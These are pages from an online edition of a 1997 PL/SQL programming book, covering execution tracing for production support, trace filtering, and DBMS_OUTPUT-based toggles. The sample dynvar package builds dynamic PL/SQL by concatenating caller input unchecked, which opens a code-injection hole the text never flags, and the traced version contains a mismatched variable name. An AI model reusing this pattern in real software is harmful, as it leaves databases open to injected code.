Trace:   PACKAGE BODY PLVPRO.P: L Stack depth = 2
Trace:   PACKAGE BODY PLVPRO.P: DISPLAY_LINE Stack depth = 3
Trace:   PACKAGE BODY PLVPRO.P: LINELEN Stack depth = 4
Trace:   PACKAGE BODY PLVPRO.P: PUT_LINE Stack depth = 4
Trace:   Pre-defined exception - OER 1403 at line 0 of ANONYMOUS BLOCK:

As you can see, trace files can get big fast, but they contain some extremely useful information.

Previous: 25.5 Overview of PL/SQL8 Enhancements | Oracle PL/SQL Programming, 2nd Edition | Next: 26.2 Tracing for Production Support
25.5 Overview of PL/SQL8 Enhancements | Book Index | 26.2 Tracing for Production Support
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 26] 26.2 Tracing for Production Support

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

26.2 Tracing for Production Support

You build a PL/SQL-based application. You debug it, probably by placing calls to some kind of trace procedure throughout your code.[1] Finally, after very careful QA and extensive testing with users, the application is deployed out into the field. You now have hundreds of people working with your code across the country (or maybe just in a single building).

[1] Unless you are lucky enough to be using one of the few PL/SQL debuggers out there in the marketplace like Platinum's SQL-Station or Oracle's Procedure Builder.

And, of course, problems rear their ugly heads. A user calls the support line and says that his program is behaving in a certain way. You cannot easily reproduce the problem. You are not entirely sure that the environment in which you are running your code is the same as that of your user. What you would really like to do is connect into his session and watch what he is doing as he is doing it.

This section explores an implementation of a package architecture which allows you to "hook" into running programs and perform production support. You can also adapt it for use as a debugger/execution trace mechanism.

26.2.1 Features of a Real-Time Support Mechanism

First, let's come up with a concise definition of "real-time" support for PL/SQL-based applications: the ability to watch or analyze the activity of a currently connected Oracle user without disturbing that user's activity or otherwise affecting the behavior of the application. This is, obviously, very different from simply running the "same" code under the "same" circumstances -- that is a simulation of what your users are doing.

To achieve this real-time support, you need to be able to get information out of your PL/SQL program and place it in some kind of repository where you can analyze what is going on and come up with fixes. You also need to be able to enable and disable the support mechanism while the user session is executing.

Based on my discussions with customers and my own experience, here are the kinds of features developers need to effectively support their applications:

  • The mechanism should be completely transparent to the user -- both when it is enabled and when it is disabled.

  • A support person can enable the mechanism "remotely," that is, she can connect into a running session, turn on (or turn off) the real-time trace, and then analyze the application behavior.

  • When placing the trace inside the PL/SQL application code, the developer can specify a filter of some kind (nested levels, numeric ranges, categories, or some other type of filter) so that the support trace can be turned on selectively within the application.

  • Output from the support mechanism can be changed and specified for each support session. In other words, sometimes you might want to write the trace information to a file, sometimes to a database pipe, and sometimes to a database table.

In this chapter, I can't provide a detailed implementation of all these features. Instead, I will discuss some of the more interesting challenges, and offer you ideas on building such a mechanism yourself.

26.2.2 Starting and Stopping a Support Session

How do you tell an Oracle session which is already up and running that you want to take a look around at its internal processing? How do you tell it that you are done and that it should stop feeding you information? Well, let's assume that you have put a call to the trace startup procedure at the beginning of each program. It would look something like this:

CREATE OR REPLACE PROCEDURE calctotals
IS
BEGIN
   trace.startup ('calctotals');
   . . .
END;
/

I could then have trace.startup check something somehow to see whether the trace mechanism should be turned on or off. I could do the same thing in any other trace procedure which is placed inside application code. Let's take the simplest and most direct approach: using a database table.

I create a table as follows:

CREATE TABLE tracetab_activate
   (username VARCHAR2(60),
    action VARCHAR2(20));

Then I add these constants and function to the trace package:

CREATE OR REPLACE PACKAGE trace
IS
   /* Just showing the part of the package that is relevant */
   /* for this functionality. */
   c_start CONSTANT CHAR(1) := 'Y';
   c_stop CONSTANT CHAR(1) := 'N';

   FUNCTION activated (username_in IN VARCHAR2) RETURN BOOLEAN;
END trace;
/

CREATE OR REPLACE PACKAGE BODY trace
IS
   /* Just showing the part of the package that is relevant
      for this functionality. */

   FUNCTION activated (username_in IN VARCHAR2) RETURN BOOLEAN
   IS
      CURSOR act_cur
      IS
         SELECT action FROM tracetab_activate
          WHERE username = UPPER (username_in);

      act_rec act_cur%ROWTYPE;
   BEGIN
      OPEN act_cur;
      FETCH act_cur INTO act_rec;
      RETURN (act_rec.action = c_start);
   END activated;

END trace;
/

With this function in place, I can modify my trace.startup procedure as follows:

PROCEDURE startup (context_in IN VARCHAR2)
IS
BEGIN
   IF activated (USER)
   THEN
      log;
   ELSE
      nolog;
   END IF;

   /* Then the rest of the procedure activity. */
END startup;

In other words, if the user should be activated, I call the trace.log procedure to turn on logging for that session. All calls to execution trace programs will then write their information out to the log specified by the PLVlog package (it can be an operating system file, database table, database pipe, etc.).

Normally, the activation table would be kept empty. If a user calls with a problem, the support person can get that user's Oracle account name and issue an insert (I hope through some sort of GUI interface) as follows:

INSERT INTO tracetab_activate VALUES ('SAM_I_AM', 'Y');

The next time Sam I Am's session executes trace.startup, the trace will be activated and the analysis can commence. To deactivate the real-time trace, the support person can simply delete that record from the table. Then the next time trace.startup is executed, logging will be turned off.

This approach provides a straightforward mechanism to "get inside" an already-running session. One concern about using the trace.activated function in this way, however, is that a query against the tracetab_activate must be performed every time that trace.startup (and other trace "show" programs) is encountered. This could turn into an unacceptable amount of overhead if an application is well-modularized.

That's the difference between a prototype and a production-quality utility. To really make this architecture successful, it would very likely need to be fine-tuned. One refinement is to maintain a counter in the trace package and be able to specify that you want to check for activation of the trace logging only every 50 or 100 or 1000 calls to trace programs. This would cut down on the overhead by skipping lots of queries, but it would also mean that it might take longer to activate the trace.

26.2.3 Filtering Trace Information

Another critical element of a successful support mechanism is the ability to specify which trace information you want to see. If a system contains four main subsystems (with lots of interactions) and hundreds of programs, you're probably going to want to look at trace information from a particular area of functionality, based on the clues provided by the user.

There are many different approaches one can take to filtering out trace messages so the support person or developer (let's call this person the analyzer) sees only what is relevant at that time. Here are the ideas I have thought of:

Free format

Allow the analyzer to provide a wildcard string which any trace message must be LIKE in order to actively logged during this connection. Knowing this in advance, a developer could concatenate a "context" or level or category to the beginning of the message string. This is the most primitive form of filtering and requires all developers to know about the way in which trace performs its filter check.

Structured interface

Provide a separate argument in calls to programs like trace.startup and trace.show which would allow a developer to explicitly associate a level (integer) or category (string) with a given trace. With this approach, the trace message is kept distinct from the filter criteria. This is probably easier for developers to work with, but it requires more work within trace to provide an interface through which the analyzer can request a trace just for specific levels, ranges of levels, or one or more categories.

If you are going to try to design your own package to handle this kind of functionality, you will find yourself at a crossroads of sorts. How much effort do you want to put into something like this versus how much effort are you going to require that developers/analyzers make in order to take advantage of your package? It can sometimes be hard to justify the resources required to "do it right."

Obviously, I can't make that decision for you. In fact, I had trouble making that decision for myself as I designed the PLVxmn package of PL/Vision. I can, however, review what I think an appropriate interface would be to support these different approaches.

Previous: 26.1 The PL/SQL Trace Facility | Oracle PL/SQL Programming, 2nd Edition | Next: 26.3 Free Format Filtering
26.1 The PL/SQL Trace Facility | Book Index | 26.3 Free Format Filtering
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 26] 26.3 Free Format Filtering

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

26.3 Free Format Filtering

With the free format approach, you could simply add a column onto the tracetab_activate table which would contain the wildcard string:

CREATE TABLE tracetab_activate
   (username VARCHAR2(60),
    action VARCHAR2(20),
    matchto VARCHAR2(100));

Then when you insert into the table to "turn on" logging of trace information, you provide the string:

INSERT INTO tracetab_activate VALUES ('SAM_I_AM', 'Y', '%INVOICE%');

In this case, I am looking for trace messages which contain the word INVOICE. I would then modify the activated function shown earlier in the article to a procedure which returns a TRUE/FALSE value, to indicate whether or not the trace is activated for this user, as well as the match string. Here is the header for such a procedure:

PACKAGE trace
IS
   . . .
   PROCEDURE check_activation
      (turnon_out OUT BOOLEAN, match_out OUT VARCHAR2);
   . . .
END trace;

My trace.startup procedure would call the check_activation routine as follows:

PROCEDURE startup
IS
   v_turnon BOOLEAN;
   v_match VARCHAR2(100);
BEGIN
   check_activation (v_turnon, v_match);
   IF v_turnon
   THEN
      log (v_match);
   ELSE
      nolog;
   END IF;
   . . .
END:

The log procedure accepts the match string, setting flags internal to PLVlog so that the trace message is checked against the match string and is passed on to the log if a match is found.

Previous: 26.2 Tracing for Production Support | Oracle PL/SQL Programming, 2nd Edition | Next: 26.4 Structured Interface Filtering
26.2 Tracing for Production Support | Book Index | 26.4 Structured Interface Filtering
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 26] 26.4 Structured Interface Filtering

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

26.4 Structured Interface Filtering

You get into a lot more code with this approach. Let's look at implementing an interface to support numeric levels. You will be able to ask to see trace information for one level, or a range of levels, or even a list of distinct levels. Because of the complexity and the need to maintain consistent formats of information, you would no longer perform your own direct inserts into the tracetab_activate table. Instead, you call a procedure which converts your request into the format necessary to store in the table. Here are some of those procedures:

PACKAGE trace
IS
   /* Just show the programs for this filtering. */
   PROCEDURE filter_by
      (username_in IN VARCHAR2, level_in IN INTEGER);

   PROCEDURE filter_by
      (username_in IN VARCHAR2, min_in IN INTEGER, max_in IN INTEGER);

   PROCEDURE filter_by
      (username_in IN VARCHAR2, list_in IN VARCHAR2);

END trace;

Notice that all three of these filtering programs have the same name. These are overloaded procedures; overloading is discussed in the section "Module Overloading" in Chapter 15, Procedures and Functions.

Here are some examples of these programs in use:

1. Request activation of trace on the SFEUERST account for level 16:

SQL> exec trace.filter_by ('sfeuerst', 16);

2. Request activation of trace on the LELLISON account for levels 16-25:

SQL> exec trace.filter_by ('lellsion', 16, 25);

3. Request activation of trace on the WGATES account for levels 2, 6, 10, and 55:

SQL> exec trace.filter_by ('wgates', '2,6,10,55');

Gee, that looks easy enough to use! Of course, the devil is in the details. In all three cases, the procedures must convert the levels provided into a string with a consistent format so that the trace.startup program (and others) can query the tracetab_activate table and properly interpret the request.

26.4.1 From Idea to Implementation

Sure, this section doesn't provide all of the code behind the interface. However, don't underestimate the importance of getting that interface right. Too many of us spend too little time thinking about how our programs will be used and how the interface to our functionality would be best constructed. Instead, we are eager to dive into the implementation of the programs. Without question, package bodies will be needed for most every package specification you ever write, but if your specification is poorly designed, it will be hard to understand and use -- which means that most likely your code will not be used.

Previous: 26.3 Free Format Filtering | Oracle PL/SQL Programming, 2nd Edition | Next: 26.5 Quick-and-Dirty Tracing
26.3 Free Format Filtering | Book Index | 26.5 Quick-and-Dirty Tracing
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 26] 26.5 Quick-and-Dirty Tracing

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

26.5 Quick-and-Dirty Tracing

I have found that in many situations, PL/SQL developers don't have the time or the access to tools to perform comprehensive tracing. Instead, they just need to get more information out of a specific package or program, and they need it right away.

Let's take a look at the options you have for some "quick-and-dirty" tracing. First of all, there is DBMS_OUTPUT.PUT_LINE, a built-in which generates output from within a PL/SQL program. For example, if I executed in SQL*Plus the following block:

BEGIN
   FOR emp_rec IN
      (SELECT ename, sal FROM emp ORDER BY sal DESC)
   LOOP
      DBMS_OUTPUT.PUT_LINE
         ('Employee ' || emp_rec.ename || ' earns ' ||
          TO_CHAR (emp_rec.sal) || ' dollars.');
   END LOOP;
END;
/

I would see the following output when the program terminated:

Employee KING earns 5000 dollars.
Employee SCOTT earns 3000 dollars.
Employee JONES earns 2975 dollars.
Employee ADAMS earns 1100 dollars.
Employee JAMES earns 950 dollars.

You will only see trace information from DBMS_OUTPUT in SQL*Plus if you issue the following command:

SQL> set serveroutput on

This will enable the package within SQL*Plus. You can also set the buffer which contains trace information to its maximum size of 1MB as follows:

SQL> set serveroutput on size 1000000

Finally, if you are running Oracle Server 7.3 and above, you can also request that output from DBMS_OUTPUT.PUT_LINE be "wrapped" so that leading blanks are not trimmed and long lines are wrapped within the SQL*Plus linesize:

SQL> set serveroutput on size 1000000 format wrapped

So DBMS_OUTPUT does give you the flexibility of embedding trace calls inside your program, but only seeing the output when you have SET SERVEROUTPUT ON. It is, unfortunately, an all-or-nothing proposition with this package. You see no messages or you see all messages. Using DBMS_OUTPUT.PUT_LINE "in the raw" as a trace mechanism therefore leaves much to be desired. (Well, to be honest, when talking about the inadequacies of DBMS_OUTPUT, one would also have to mention that it can only display a maximum of 255 bytes per call, that it does not display Booleans or combinations of data, and that it will not work in the Oracle Developer/2000 environment nor in Oracle WebServer.)[2]

[2] See Chapter 7 of my book on packages, Advanced Oracle PL/SQL Programming with Packages, for details about the usage of DBMS_OUTPUT.PUT_LINE.

Ideally, you would like to be able to set up a trace mechanism so that you can see information about only this package or that procedure. The best way to do that is to set up a "toggle" within a package. Let's step through a simple example to make the technique clear.

Suppose I have a package which assigns a value to a package variable (which must be defined in the package specification) using dynamic SQL execution. (This is similar to the indirect referencing available in Oracle Forms with COPY and NAME_IN.) The specification and body of such a package is shown below:

/* filename on companion disk: dynvar.spp */
CREATE OR REPLACE PACKAGE dynvar
IS
   PROCEDURE assign (var_in IN VARCHAR2, val_in IN VARCHAR2);
   FUNCTION val (var_in IN VARCHAR2) RETURN VARCHAR2;
END dynvar;
/
CREATE OR REPLACE PACKAGE BODY dynvar
IS
   PROCEDURE assign (var_in IN VARCHAR2, val_in IN VARCHAR2)
   IS
      cur INTEGER;
      fdbk INTEGER;
   BEGIN
      cur := DBMS_SQL.OPEN_CURSOR;
      DBMS_SQL.PARSE (cur,
         'BEGIN ' || var_in || ' := :val; END;', DBMS_SQL.NATIVE);
      DBMS_SQL.BIND_VARIABLE (cur, 'val', val_in, 2000);
      fdbk := DBMS_SQL.EXECUTE (cur);
      DBMS_SQL.CLOSE_CURSOR (cur);
   END;

   FUNCTION val (var_in IN VARCHAR2) RETURN VARCHAR2
   IS
      cur INTEGER;
      fdbk INTEGER;
      retval VARCHAR2(2000);
   BEGIN
      cur := DBMS_SQL.OPEN_CURSOR;
      DBMS_SQL.PARSE
         (cur, 'BEGIN :val := ' || var_in || '; END;', DBMS_SQL.NATIVE);
      DBMS_SQL.BIND_VARIABLE (cur, 'val', var_in, 2000);
      fdbk := DBMS_SQL.EXECUTE (cur);
      DBMS_SQL.VARIABLE_VALUE (cur, 'val', retval);
      DBMS_SQL.CLOSE_CURSOR (cur);
      RETURN retval;
   END;

END dynvar;
/

Here is a little test package and some program calls in SQL*Plus to give you a sense of how it would work:

CREATE OR REPLACE PACKAGE TSTVAR
IS
    str1 varchar2(2000);
    str2 varchar2(2000);
END;
/

SQL> exec dynvar.assign ('tstvar.str1', 'abc')

SQL> exec dbms_output.put_line (tstvar.str1)
abc

SQL> exec dbms_output.put_line (dynvar.val ('tstvar.str1'))
abc

This package seems to work just fine. When working with dynamic SQL and PL/SQL, however, the trickiest aspect of the package might not be building it, but using it. The user of dynvar must construct the package variable's name properly and if she gets it wrong, she will get all sorts of interesting but confusing errors. Let's add a trace feature to dynvar so that when a user has trouble, she can very selectively activate trace just for this package and the dynamic management of package globals.

First, I will add my toggle to the package specification:

CREATE OR REPLACE PACKAGE dynvar
IS
   PROCEDURE assign (var_in IN VARCHAR2, val_in IN VARCHAR2);
   FUNCTION val (var_in IN VARCHAR2) RETURN VARCHAR2;

   PROCEDURE trc;
   PROCEDURE notrc;
   FUNCTION tracing RETURN BOOLEAN;

END dynvar;
/

I turn on trace for this package with the following command:

SQL> exec dynvar.trc

Similarly, I can turn off trace with this command:

SQL> exec dynvar.notrc

The implementation of this toggle in the package body is very straightforward:

CREATE OR REPLACE PACKAGE BODY dynvar
IS
   g_trc BOOLEAN := FALSE;
   PROCEDURE trc IS BEGIN g_trc := TRUE; END;
   PROCEDURE notrc IS BEGIN g_trc := FALSE; END;
   FUNCTION tracing RETURN BOOLEAN IS BEGIN RETURN g_trc; END;

   . . .
END dynvar;

I establish a private global variable to hold the trace setting (default is "off"). When you call dynvar.trc, the variable is set to TRUE or "on." Now the question is this: how do I put this toggle to use inside the assign and val programs? Right after the BEGIN statement in each program, I will add a conditional clause. If tracing is turned on, then I display a message:

CREATE OR REPLACE PACKAGE BODY dynvar
IS
   PROCEDURE assign (var_in IN VARCHAR2, val_in IN VARCHAR2)
   IS
      cur INTEGER;
      fdbk INTEGER;
   BEGIN
      IF tracing
      THEN
         DBMS_OUTPUT.PUT_LINE
            ('dynvar assigning ' || val_in || ' to ' || var_in);
      END IF;

      /* same dynamic PL/SQL as before */
   END;

   FUNCTION val (var_in IN VARCHAR2) RETURN VARCHAR2
   IS
      /* same declarations as before */
   BEGIN
      IF debuging
      THEN
         DBMS_OUTPUT.PUT_LINE ('dynvar retrieving value of ' || var_in);
      END IF;

      /* same dynamic PL/SQL as before */
   END;

END dynvar;
/

With this new version of the dynvar package installed, I can then turn on trace and get feedback each time either of the package's programs are executed:

SQL> set serveroutput on
SQL> exec dynvar.trc

SQL> exec dynvar.assign ('tstvar.str1', 'abc')
dynvar assigning abc to tstvar.str1

SQL> exec p.l(dynvar.val ('tstvar.str1'))
dynvar retrieving value of tstvar.str1
abc

Of course in the "real world," you will want to enhance the information displayed with the context in which these programs were called (perhaps a date-time stamp and so forth). This should, however, give you a flavor of the basic technique and how to employ it.

NOTE: Intrigued by dynvar? You will find more information about dynamic PL/SQL in Oracle Built-in Packages. You can also overload the dynvar package to perform assignments and retrievals for dates, numbers, and so on in their native formats.

Previous: 26.4 Structured Interface Filtering | Oracle PL/SQL Programming, 2nd Edition | Next: VII. Appendixes
26.4 Structured Interface Filtering | Book Index | VII. Appendixes
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Oracle PL/SQL Programming, 2nd Edition

By Steven Feuerstein & Bill Pribyl; ISBN 1-56592-335-9E
Second Edition, published September 1997.
(See the catalog page for this book.)

Search the text of Oracle PL/SQL Programming, 2nd Edition.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Table of Contents

Dedication
Foreword
Preface

Part I: Programming in PL/SQL

Chapter 1: Introduction to PL/SQL
Chapter 2: PL/SQL Language Fundamentals
Chapter 3: Effective Coding Style

Part II: PL/SQL Language Elements

Chapter 4: Variables and Program Data
Chapter 5: Conditional and Sequential Control
Chapter 6: Database Interaction and Cursors
Chapter 7: Loops
Chapter 8: Exception Handlers
Chapter 9: Records in PL/SQL
Chapter 10: PL/SQL Tables

Part III: Built-In Functions

Chapter 11: Character Functions
Chapter 12: Date Functions
Chapter 13: Numeric, LOB, and Miscellaneous Functions
Chapter 14: Conversion Functions

Part IV: Modular Code

Chapter 15: Procedures and Functions
Chapter 16: Packages
Chapter 17: Calling PL/SQL Functions in SQL

Part V: New PL/SQL8 Features

Chapter 18: Object Types
Chapter 19: Nested Tables and VARRAYs
Chapter 20: Object Views
Chapter 21: External Procedures

Part VI: Making PL/SQL Programs Work

Chapter 22: Code Design Tips
Chapter 23: Managing Code in the Database
Chapter 24: Debugging PL/SQL
Chapter 25: Tuning PL/SQL Applications
Chapter 26: Tracing PL/SQL Execution

Part VII: Appendixes

Appendix A: What's on the Companion Disk?
Appendix B: Calling Stored Procedures from PL/SQL Version 1.1
Appendix C: Built-In Packages

The Oracle PL/SQL CD Bookshelf Navigation

Copyright © 2000 O'Reilly & Associates. All Rights Reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Part I] Programming in PL/SQL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: Acknowledgments Part I Next: 1. Introduction to PL/SQL

Part I: Programming in PL/SQL

Part I of this book introduces PL/SQL and presents the basics of how to program in Oracle-based applications.

  • Chapter 1, Introduction to PL/SQL, introduces PL/SQL and explains where it came from. It describes the various PL/SQL versions and environments you might be using and the differences among the implementations of PL/SQL. It also presents some basic PL/SQL programming principles.

  • Chapter 2, PL/SQL Language Fundamentals, introduces the PL/SQL character set, identifiers, literals, and other basic elements of the language.

  • Chapter 3, Effective Coding Style, presents guidelines for coding style and discusses how the decisions you make about the formatting of your programs can determine how readable and useful those programs can be.

Previous: Acknowledgments | Oracle PL/SQL Programming, 2nd Edition | Next: 1. Introduction to PL/SQL
Acknowledgments | Book Index | 1. Introduction to PL/SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Part II] PL/SQL Language Elements

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 3.7 Documenting the Entire Package Part II Next: 4. Variables and Program Data

Part II: PL/SQL Language Elements

Part II of this book describes the essential language constructs provided by PL/SQL. It includes extensive examples of these constructs and explains how to use them most effectively.

  • Chapter 4, Variables and Program Data, explains variables and constants in PL/SQL programs and presents the various PL/SQL datatypes.

  • Chapter 5, Conditional and Sequential Control, describes how to use various types of IF, THEN, and ELSE constructs, as well as the NULL and GOTO statements.

  • Chapter 6, Database Interaction and Cursors, describes how to use explicit and implicit cursors.

  • Chapter 7, Loops, explains the different types of loops -- LOOP, FOR LOOP, and WHILE LOOP.

  • Chapter 8, Exception Handlers, discusses the various types of exceptions, including predefined, named programmer-defined, unnamed internal, and unnamed programmer-defined.

  • Chapter 9, Records in PL/SQL, describes how to use table-based, cursor-based, and programmer-defined records.

  • Chapter 10, PL/SQL Tables, explains how to declare and use tables, and how to apply them to a variety of tasks.

Previous: 3.7 Documenting the Entire Package | Oracle PL/SQL Programming, 2nd Edition | Next: 4. Variables and Program Data
3.7 Documenting the Entire Package | Book Index | 4. Variables and Program Data
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Part III] Built-In Functions

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 10.9 Working with PL/SQL Tables Part III Next: 11. Character Functions

Part III: Built-In Functions

Part III of this book presents the many built-in or predefined functions supported by PL/SQL. These chapters contain detailed descriptions and many extended examples of the dozens of built-in programs that you can use immediately in your PL/SQL applications.

  • Chapter 11, Character Functions, describes the functions that allow you to parse names, concatenate strings, and perform many other character operations.

  • Chapter 12, Date Functions, presents the functions that let you manipulate calendar dates in your PL/SQL programs.

  • Chapter 13, Numeric, LOB, and Miscellaneous Functions, describes the functions you use to manipulate numbers and perform a variety of other operations.

  • Chapter 14, Conversion Functions, discusses the functions that let PL/SQL convert from one datatype to another.

Previous: 10.9 Working with PL/SQL Tables | Oracle PL/SQL Programming, 2nd Edition | Next: 11. Character Functions
10.9 Working with PL/SQL Tables | Book Index | 11. Character Functions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Part IV] Modular Code

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 14.3 Conversion Function Examples Part IV Next: 15. Procedures and Functions

Part IV: Modular Code

Part IV of this book goes beyond the individual components of the PL/SQL language and explains how to build complete PL/SQL applications using program modules.

  • Chapter 15, Procedures and Functions, presents the basics of modular programming in PL/SQL using blocks, procedures, functions, and parameters.

  • Chapter 16, Packages, describes how to build packages, one of the least understood and least utilized features of PL/SQL.

  • Chapter 17, Calling PL/SQL Functions in SQL, describes how you can construct PL/SQL functions and call them from SQL.

Previous: 14.3 Conversion Function Examples | Oracle PL/SQL Programming, 2nd Edition | Next: 15. Procedures and Functions
14.3 Conversion Function Examples | Book Index | 15. Procedures and Functions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Part V] New PL/SQL8 Features

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 17.8 Examples of Embedded PL/SQL Part V Next: 18. Object Types

Part V: New PL/SQL8 Features

Part V of this book contains the main discussion of the new features of Oracle8 that are relevant to PL/SQL.

  • Chapter 18, Object Types, describes the Oracle "object-relational model" and how the object features work.

  • Chapter 19, Nested Tables and VARRAYs, examines the two types of "collection" structures introduced in Oracle8.

  • Chapter 20, Object Views, describes object views, which let you use object features with conventional relational tables.

  • Chapter 21, External Procedures, discusses how you can call out to non-PL/SQL programs from within Oracle.

Previous: 17.8 Examples of Embedded PL/SQL | Oracle PL/SQL Programming, 2nd Edition | Next: 18. Object Types
17.8 Examples of Embedded PL/SQL | Book Index | 18. Object Types
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Part VI] Making PL/SQL Programs Work

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 21.7 Examples Part VI Next: 22. Code Design Tips

Part VI: Making PL/SQL Programs Work

Part VI of this book describes how to make PL/SQL work most effectively and efficiently in the real world.

  • Chapter 22, Code Design Tips, summarizes key advice for efficient PL/SQL programming, particularly in the use of procedures, functions, and parameters.

  • Chapter 23, Managing Code in the Database, describes how you can store objects in the Oracle database most efficiently.

  • Chapter 24, Debugging PL/SQL, describes how to debug your PL/SQL programs.

  • Chapter 25, Tuning PL/SQL Applications, describes how to tune your PL/SQL programs so they run most efficiently.

  • Chapter 26, Tracing PL/SQL Execution, describes how to trace the execution of your PL/SQL programs.

Previous: 21.7 Examples | Oracle PL/SQL Programming, 2nd Edition | Next: 22. Code Design Tips
21.7 Examples | Book Index | 22. Code Design Tips
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Part VII] Appendixes

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 26.5 Quick-and-Dirty Tracing Part VII Next: A. What's on the Companion Disk?

Part VII: Appendixes

Part VII of this book contains summary and release-specific information.

  • Appendix A, What's on the Companion Disk?, describes how to use the disk that accompanies this book.

  • Appendix B, Calling Stored Procedures from PL/SQL Version 1.1, describes the mechanism for allowing Oracle Developer/2000-based applications to call stored procedures

  • Appendix C, Built-In Packages, offers a quick reference to many of the Oracle built-in functions.

Previous: 26.5 Quick-and-Dirty Tracing | Oracle PL/SQL Programming, 2nd Edition | Next: A. What's on the Companion Disk?
26.5 Quick-and-Dirty Tracing | Book Index | A. What's on the Companion Disk?
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Dedication

I dedicate this book to my parents, Sheldon and Joan Feuerstein, and to the children in my life: the babies at the Columbus Maryville Reception Center, Nikolas Silva, Ian and Michaela McCauseland, Danielle and Benjamin DeUrso, Adam and Jay Bartell, Ciera, Brian, and Michael Daniels, Timnah and Masada Sela, and of course my own boys, Eli and Chris.

-- Steven Feuerstein

To my father, who told me "that's no hill for a stepper" enough times that it finally sank in.

-- Bill Pribyl

Oracle PL/SQL Programming, 2nd Edition | Next: Foreword
Book Index | Foreword
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

